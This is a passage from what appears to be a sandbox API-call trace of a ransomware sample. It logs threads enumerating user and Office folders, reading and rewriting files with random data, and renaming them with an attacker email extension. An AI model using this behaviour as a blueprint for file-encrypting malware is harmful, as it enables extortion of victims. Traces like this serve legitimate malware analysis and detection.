Flags=0x0, BaseAddress=0x97cf280) returned 1 [0063.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436160) returned 1 [0063.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436200) returned 1 [0063.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436228) returned 1 [0063.261] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.261] wcscpy (in: _Dest=0x40d460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" [0063.261] wcscat (in: _Dest=0x40d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.mailto[2Hamlampampom@cock.li].cd46d" [0063.261] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xeb9fe5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.261] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x423da8 [0063.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.266] NtQueryInformationFile (in: FileHandle=0xc70, IoStatusBlock=0xeb9fe68, FileInformation=0xeb9fe40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xeb9fe68, FileInformation=0xeb9fe40) returned 0x0 [0063.266] NtSetInformationFile (FileHandle=0xc70, IoStatusBlock=0xeb9fe68, FileInformation=0xeb9fe40, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.267] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.267] FlushFileBuffers (hFile=0xc70) returned 1 [0066.216] CloseHandle (hObject=0xc70) Thread: id = 603 os_tid = 0x824 [0050.026] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url")) returned 0x20 [0051.248] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x20) returned 1 [0062.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc84 [0062.110] GetFileSizeEx (in: hFile=0xc84, lpFileSize=0x9a7fb08 | out: lpFileSize=0x9a7fb08*=226) returned 1 [0062.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9278 [0062.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9110 [0062.110] NtQuerySystemTime (in: CurrentTime=0x9a7fa68 | out: CurrentTime=0x9a7fa68*=132174898260960000) returned 0x0 [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x522a87ea [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x80de8da [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x5c60c794 [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x459f861a [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x7dd408f3 [0062.110] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x54c01164 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x55984be4 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x31e2c8c6 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x71c23713 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0xe0ef60a [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x3c00d0fa [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x23719dae [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0xa1dcfad [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x3cc8d264 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x39e134b3 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x6e73cac8 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x1be84306 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x5f014de7 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x58cbd4d8 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x40ea9b31 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x17808809 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0xd58c48b [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x285e5a8c [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x91cbb2d [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x68f098d3 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x4afc92ca [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x39fd0960 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x5167368c [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x4c7fc188 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x71664eef [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x3a3dad85 [0062.111] RtlRandomEx (in: Seed=0x9a7fa74 | out: Seed=0x9a7fa74) returned 0x100d6127 [0062.124] ReadFile (in: hFile=0xc84, lpBuffer=0x5e92890, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x9a7fa64, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesRead=0x9a7fa64*=0xe2, lpOverlapped=0x0) returned 1 [0062.125] SetFilePointerEx (in: hFile=0xc84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.125] WriteFile (in: hFile=0xc84, lpBuffer=0x19621920*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x9a7fa60, lpOverlapped=0x0 | out: lpBuffer=0x19621920*, lpNumberOfBytesWritten=0x9a7fa60*=0xe2, lpOverlapped=0x0) returned 1 [0066.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441208 [0066.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0066.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0066.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19621920) returned 1 [0066.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0066.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437670) returned 1 [0066.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0066.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x409f28 [0066.278] SetFilePointerEx (in: hFile=0xc84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.279] WriteFile (hFile=0xc84, lpBuffer=0x41be58, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x9a7fac8, lpOverlapped=0x0) Thread: id = 604 os_tid = 0x814 [0050.027] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst")) returned 0x2020 [0050.029] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x20) returned 1 [0065.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1430 [0065.322] GetFileSizeEx (in: hFile=0x1430, lpFileSize=0xeccfe9c | out: lpFileSize=0xeccfe9c*=1180) returned 1 [0065.322] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.322] ReadFile (hFile=0x1430, lpBuffer=0xeccfe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xeccfe1c, lpOverlapped=0x0) Thread: id = 605 os_tid = 0x810 [0050.029] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417ce0 [0050.029] wcscpy (in: _Dest=0x417ce0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0050.029] wcscat (in: _Dest=0x417ce0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0050.029] wcscat (in: _Dest=0x417ce0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*" [0050.029] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9670 [0050.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x4b9670 | out: lpFindFileData=0x4b9670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408a0 [0050.030] wcscmp (_String1=".", _String2=".") returned 0 [0050.030] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x4b9670 | out: lpFindFileData=0x4b9670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.030] wcscmp (_String1="..", _String2=".") returned 1 [0050.030] wcscmp (_String1="..", _String2="..") returned 0 [0050.030] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x4b9670 | out: lpFindFileData=0x4b9670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0050.030] wcscmp (_String1="wscRGB.icc", _String2=".") returned 1 [0050.030] wcscmp (_String1="wscRGB.icc", _String2="..") returned 1 [0050.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee3d8 [0050.030] wcscpy (in: _Dest=0x4ee3d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0050.030] wcscat (in: _Dest=0x4ee3d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0050.030] wcscat (in: _Dest=0x4ee3d8, _Source="wscRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0067.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58 [0067.023] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x4b9670 | out: lpFindFileData=0x4b9670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0067.023] wcscmp (_String1="wsRGB.icc", _String2=".") returned 1 [0067.023] wcscmp (_String1="wsRGB.icc", _String2="..") returned 1 [0067.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4eeab8 [0067.023] wcscpy (in: _Dest=0x4eeab8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0067.023] wcscat (in: _Dest=0x4eeab8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0067.023] wcscat (in: _Dest=0x4eeab8, _Source="wsRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0067.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eeab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0067.024] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x4b9670 | out: lpFindFileData=0x4b9670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0067.024] FindClose (in: hFindFile=0x4408a0 | out: hFindFile=0x4408a0) returned 1 [0067.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b9670) returned 1 [0067.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417ce0) returned 1 [0067.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417860) returned 1 Thread: id = 606 os_tid = 0x80c [0050.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x43a588 [0050.030] wcscpy (in: _Dest=0x43a588, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0050.030] wcscat (in: _Dest=0x43a588, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0050.030] wcscat (in: _Dest=0x43a588, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*" [0050.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b98d8 [0050.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440860 [0051.481] wcscmp (_String1=".", _String2=".") returned 0 [0051.481] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.698] wcscmp (_String1="..", _String2=".") returned 1 [0051.698] wcscmp (_String1="..", _String2="..") returned 0 [0051.698] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0051.698] wcscmp (_String1="AG00004_.GIF", _String2=".") returned 1 [0051.698] wcscmp (_String1="AG00004_.GIF", _String2="..") returned 1 [0051.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8998 [0051.698] wcscpy (in: _Dest=0x96f8998, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0051.698] wcscat (in: _Dest=0x96f8998, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0051.698] wcscat (in: _Dest=0x96f8998, _Source="AG00004_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" [0055.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c [0055.657] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0055.657] wcscmp (_String1="AG00011_.GIF", _String2=".") returned 1 [0055.657] wcscmp (_String1="AG00011_.GIF", _String2="..") returned 1 [0055.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447dc0 [0055.657] wcscpy (in: _Dest=0x447dc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.657] wcscat (in: _Dest=0x447dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.657] wcscat (in: _Dest=0x447dc0, _Source="AG00011_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" [0055.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0055.658] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0055.658] wcscmp (_String1="AG00021_.GIF", _String2=".") returned 1 [0055.658] wcscmp (_String1="AG00021_.GIF", _String2="..") returned 1 [0055.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4467f8 [0055.658] wcscpy (in: _Dest=0x4467f8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.658] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.658] wcscat (in: _Dest=0x4467f8, _Source="AG00021_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" [0055.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0055.659] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0055.659] wcscmp (_String1="AG00037_.GIF", _String2=".") returned 1 [0055.659] wcscmp (_String1="AG00037_.GIF", _String2="..") returned 1 [0055.660] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8d50 [0055.660] wcscpy (in: _Dest=0x96f8d50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.660] wcscat (in: _Dest=0x96f8d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.660] wcscat (in: _Dest=0x96f8d50, _Source="AG00037_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" [0055.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0055.661] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, 